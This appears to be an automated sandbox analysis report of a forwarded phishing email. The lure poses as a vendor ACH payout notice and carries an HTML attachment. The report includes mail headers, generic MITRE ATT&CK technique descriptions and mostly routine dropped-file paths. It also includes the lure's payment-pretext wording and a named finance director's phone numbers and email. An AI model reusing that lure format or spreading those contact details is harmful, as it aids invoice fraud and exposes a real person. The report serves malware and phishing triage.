SHA1:	eee3a14284f79b109ef7c2f0f8219222d9453f6e
SHA256:	6fa07d4707e6c618546733932d4ad92e5b1f01b23d2db714647e8f53a3c20a21
SHA512:	b0cc730c30a604c0f923cca4a16d3b8a837ead2fe70c43afead002bea1b9b896c3f5d6e88318f1c251b85c3b277acb9ad8394d98d4af00faf6a171007dc0fb41
SSDEEP:	3072:MaUd+efkIHxoU8mNt99QqICOqN3SYnjqAuoOqGNf1:VUdHfkIHxomNt99QqICDhVOqG
TLSH:	5BF321203AEA3119F3739B354BE2909B8B36BC536D15D65E3189334D0772941DFA2B3A
File Content Preview:	........................>..................................."..................................................................................................................................................................................................

Static Mail

General

Subject:	FW: Pay App Vendor DisbursementNote-BATCH/EFT-ACHPAYOUT Attn:96c16e39772bc7ca3bf6045c7420c1f3c20346ef
From:	"Russell W. Eden" <reden@murexltd.com>
To:	"support@corerecon.com" <support@corerecon.com>
Cc:
BCC:
Date:	Mon, 21 Oct 2024 22:36:53 +0200
Communications:	Good afternoon, This email looked suspicious to me, and I dont think we are currently working with Belgin. Russell Eden \| Director of Cash and Credit 7160 North Dallas Parkway, Suite 300 Plano, TX 75024 O: 972-702-0018 \| C: 817-692-4982 www.murexltd.com <http://www.murexltd.com/> WARNING: Wire fraud, email hacking and phishing attacks are on the rise! Murex WILL NOT change its bank instructions for payment receipts. NEVER respond to any emails that claim to contain revised wire or ACH transfer instructions, even if they appear to be sent by our company. ALWAYS check for valid domain names on emails @MUREXLTD.COM. Should you receive an email, an invoice containing changed payment instructions, or even a phone call requesting a change in payment instructions, call your Murex representative at an independently verified phone number. Computer viruses can be transmitted via email. Recipient should check this, and any email and all attachments for the presence of viruses. Sender and sender company accept no liability for any damage caused by any virus transmitted by this email. From: POS_Remittance notification.96c16e39772bc7ca3bf6045c7420c1f3c20346ef.aydogan.yavuz@belginoil.com <aydogan.yavuz@belginoil.com> Sent: Monday, October 21, 2024 2:53 PM To: Russell W. Eden <reden@murexltd.com> Subject: Pay App Vendor DisbursementNote-BATCH/EFT-ACHPAYOUT Attn:96c16e39772bc7ca3bf6045c7420c1f3c20346ef ============================================================================== Find Attached ============================================================================== ref:!003712 D6g05ioYn.!7040912885QQ0I6wOj To: Murexltd Attn: Reden AL: ============================================================================== Thank you ============================================================================== This message was generated by an automated system. Please do not reply to this email.
Attachments:	image001.jpg Payment Ref++Reden++96c16e39772bc7ca3bf6045c7420c1f3c20346ef.html

Headers

Key	Value
Received	from SA1PR16MB6434.namprd16.prod.outlook.com
IA1PR11MB6291.namprd11.prod.outlook.com with HTTPS; Mon, 21 Oct 2024 20	37:09
ARC-Seal	i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
ARC-Message-Signature	i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
h=From	Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
ARC-Authentication-Results	i=1; mx.microsoft.com 1; spf=pass (sender ip is
by DM4PR11MB6432.namprd11.prod.outlook.com (2603	10b6:8:ba::8) with Microsoft
15.20.8069.26; Mon, 21 Oct 2024 20	37:05 +0000
(2603	10b6:a03:505::17) with Microsoft SMTP Server (version=TLS1_2,
Transport; Mon, 21 Oct 2024 20	36:59 +0000
Authentication-Results	spf=pass (sender IP is 40.107.244.115)
Received-SPF	Pass (protection.outlook.com: domain of murexltd.com designates
via Frontend Transport; Mon, 21 Oct 2024 20	36:58 +0000
DKIM-Signature	v=1; a=rsa-sha256; c=relaxed/relaxed;
by MW3PR16MB3898.namprd16.prod.outlook.com (2603	10b6:303:4f::10) with
2024 20	36:53 +0000
X-MS-Exchange-Authentication-Results	spf=pass (sender IP is 52.4.92.69)
for <support@corerecon.com>; Mon, 21 Oct 2024 20	36:57 +0000 (UTC)
by PH7PR16MB6075.namprd16.prod.outlook.com (2603	10b6:510:306::6) with
([fe80	:aa91:47d0:65c5:4991%5]) with mapi id 15.20.8069.027; Mon, 21 Oct 2024
20	36:53 +0000
From	"Russell W. Eden" <reden@murexltd.com>
To	"support@corerecon.com" <support@corerecon.com>
Subject	FW: Pay App Vendor DisbursementNote-BATCH/EFT-ACHPAYOUT
Attn	96c16e39772bc7ca3bf6045c7420c1f3c20346ef
Thread-Topic	Pay App Vendor DisbursementNote-BATCH/EFT-ACHPAYOUT
Thread-Index	AQHbI/Ldfhh7j97RAkW5rdoIjIMtz7KRqd3w
Date	Mon, 21 Oct 2024 20:36:53 +0000
Message-ID	<SA1PR16MB6434093E644666C44C889E53C6432@SA1PR16MB6434.namprd16.prod.outlook.com>
References	<d42f77d9-1698-ccb6-6d4e-cb653a56c2f9@belginoil.com>
In-Reply-To	<d42f77d9-1698-ccb6-6d4e-cb653a56c2f9@belginoil.com>
Accept-Language	en-US
Content-Language	en-US
X-MS-Has-Attach	yes
X-MS-TNEF-Correlator	x-ms-traffictypediagnostic:
SA1PR16MB6434	EE_\|PH7PR16MB6075:EE_\|CO1PEPF000066EC:EE_\|MW3PR16MB3898:EE_\|CH1PEPF0000AD7B:EE_\|DM4PR11MB6432:EE_\|IA1PR11MB6291:EE_
X-MS-Office365-Filtering-Correlation-Id	5e033e11-8c79-401d-0897-08dcf210203d
X-MS-Exchange-SenderADCheck	1
X-MS-Exchange-AntiSpam-Relay	0
X-Microsoft-Antispam-Untrusted	BCL:0;ARA:13230040\|35042699022\|376014\|36860700013\|1800799024\|82310400026\|8096899003\|4076899003;
X-Microsoft-Antispam-Message-Info-Original	=?us-ascii?Q?UTcdRy69GZpDkhqFWaLAJpNfSKix7QwZCviwWqfxyQln2uGcKe74QV+99xdg?=
X-Forefront-Antispam-Report-Untrusted	CIP:52.4.92.69;CTRY:US;LANG:en;SCL:1;SRV:;IPV:CAL;SFV:NSPM;H:obx-outbound.inkyphishfence.com;PTR:obx-outbound.inkyphishfence.com;CAT:NONE;SFS:(13230040)(35042699022)(376014)(36860700013)(1800799024)(82310400026)(8096899003)(4076899003);DIR:OUT;SFP:1102;
Content-Type	multipart/mixed;
MIME-Version	1.0
X-MS-Exchange-Transport-CrossTenantHeadersStamped	DM4PR11MB6432
X-Inky-DestinationTenant	murexhtms.mail.protection.outlook.com
X-Inky-CrtDestinationTenant	inky-client-cert-bwh312e1t0fe029nylui76:murexhtms.mail.protection.outlook.com
X-Inky-Outbound-Processed	True
Return-Path	reden@murexltd.com
X-EOPAttributedMessage	1
X-MS-Exchange-Transport-CrossTenantHeadersStripped	CH1PEPF0000AD7B.namprd04.prod.outlook.com
X-MS-Office365-Filtering-Correlation-Id-Prvs	d55d8f63-d582-4b87-b2f6-08dcf2101c48
X-IPW-GroupMember	False
X-MS-Exchange-Organization-ExpirationStartTime	21 Oct 2024 20:37:05.4037
X-MS-Exchange-Organization-ExpirationStartTimeReason	OriginalSubmit
X-MS-Exchange-Organization-ExpirationInterval	1:00:00:00.0000000
X-MS-Exchange-Organization-ExpirationIntervalReason	OriginalSubmit
X-MS-Exchange-Organization-Network-Message-Id	5e033e11-8c79-401d-0897-08dcf210203d
X-EOPTenantAttributedMessage	fd95b4e8-ccc7-4e27-b8dc-ec4c54e4a14d:0
X-MS-Exchange-Organization-MessageDirectionality	Incoming
X-MS-Exchange-Transport-CrossTenantHeadersPromoted	CH1PEPF0000AD7B.namprd04.prod.outlook.com
X-MS-PublicTrafficType	Email
X-MS-Exchange-Organization-AuthSource	CH1PEPF0000AD7B.namprd04.prod.outlook.com
X-MS-Exchange-Organization-AuthAs	Anonymous
X-MS-Exchange-Organization-SCL	-1
X-Microsoft-Antispam	BCL:0;ARA:13230040\|35042699022\|8096899003\|4076899003;
X-Forefront-Antispam-Report	CIP:40.107.244.115;CTRY:US;LANG:en;SCL:-1;SRV:;IPV:NLI;SFV:SKA;H:NAM12-MW2-obe.outbound.protection.outlook.com;PTR:mail-mw2nam12on2115.outbound.protection.outlook.com;CAT:NONE;SFS:(13230040)(35042699022)(8096899003)(4076899003);DIR:INB;
X-MS-Exchange-CrossTenant-OriginalArrivalTime	21 Oct 2024 20:37:05.1849
X-MS-Exchange-CrossTenant-Network-Message-Id	5e033e11-8c79-401d-0897-08dcf210203d
X-MS-Exchange-CrossTenant-Id	fd95b4e8-ccc7-4e27-b8dc-ec4c54e4a14d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp	TenantId=d5ea0ba6-3c9e-43c2-9d1e-fffeb0d842e5;Ip=[52.4.92.69];Helo=[obx-outbound.inkyphishfence.com]
X-MS-Exchange-CrossTenant-AuthSource	CH1PEPF0000AD7B.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs	Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader	Internet
X-MS-Exchange-Transport-EndToEndLatency	00:00:04.5461512
X-MS-Exchange-Processed-By-BccFoldering	15.20.8069.009
X-Microsoft-Antispam-Mailbox-Delivery	ucf:0;jmr:0;auth:0;dest:I;ENG:(910001)(944506478)(944626604)(920097)(930097)(140003);
X-Microsoft-Antispam-Message-Info	=?us-ascii?Q?d7p5/OOysxdtpmp3c5OEE5znfvg+1e6w2zTHfTZVoFHnvVBnBOhHKqW28Sex?=
date	Mon, 21 Oct 2024 22:36:53 +0200

File Icon


Icon Hash:	c4e1928eacb280a2

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report c20346ef.msg

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\Users\user\AppData\Local\Microsoft\FORMS\FRMCACHE.DAT

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntities.bin

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntitiesUpdated.bin

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\5744F239.dat

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\13FJYQDB\Payment Ref++Reden++96c16e39772bc7ca3bf6045c7420c1f3c20346ef (002).html

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\13FJYQDB\Payment Ref++Reden++96c16e39772bc7ca3bf6045c7420c1f3c20346ef (002).html:Zone.Identifier (copy)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\13FJYQDB\Payment Ref++Reden++96c16e39772bc7ca3bf6045c7420c1f3c20346ef.html:Zone.Identifier

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{C9374C2A-CB83-4CAE-AA9D-F830C04B8990}.tmp

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1729548735249153900_08331380-BF91-4702-9273-8F74D6311B73.log

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1729548735250267800_08331380-BF91-4702-9273-8F74D6311B73.log

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241021T1812080203-2384.etl

C:\Users\user\AppData\Local\Temp\~DF45AA49C5F1B2176C.TMP

C:\Users\user\AppData\Local\Temp\~DF49CEAEF41742EE06.TMP

C:\Users\user\AppData\Local\Temp\~DF93EE098D511BB9A2.TMP

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

C:\Users\user\AppData\Roaming\Microsoft\Outlook\NoEmail.srs

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst

C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Windows Analysis Report
c20346ef.msg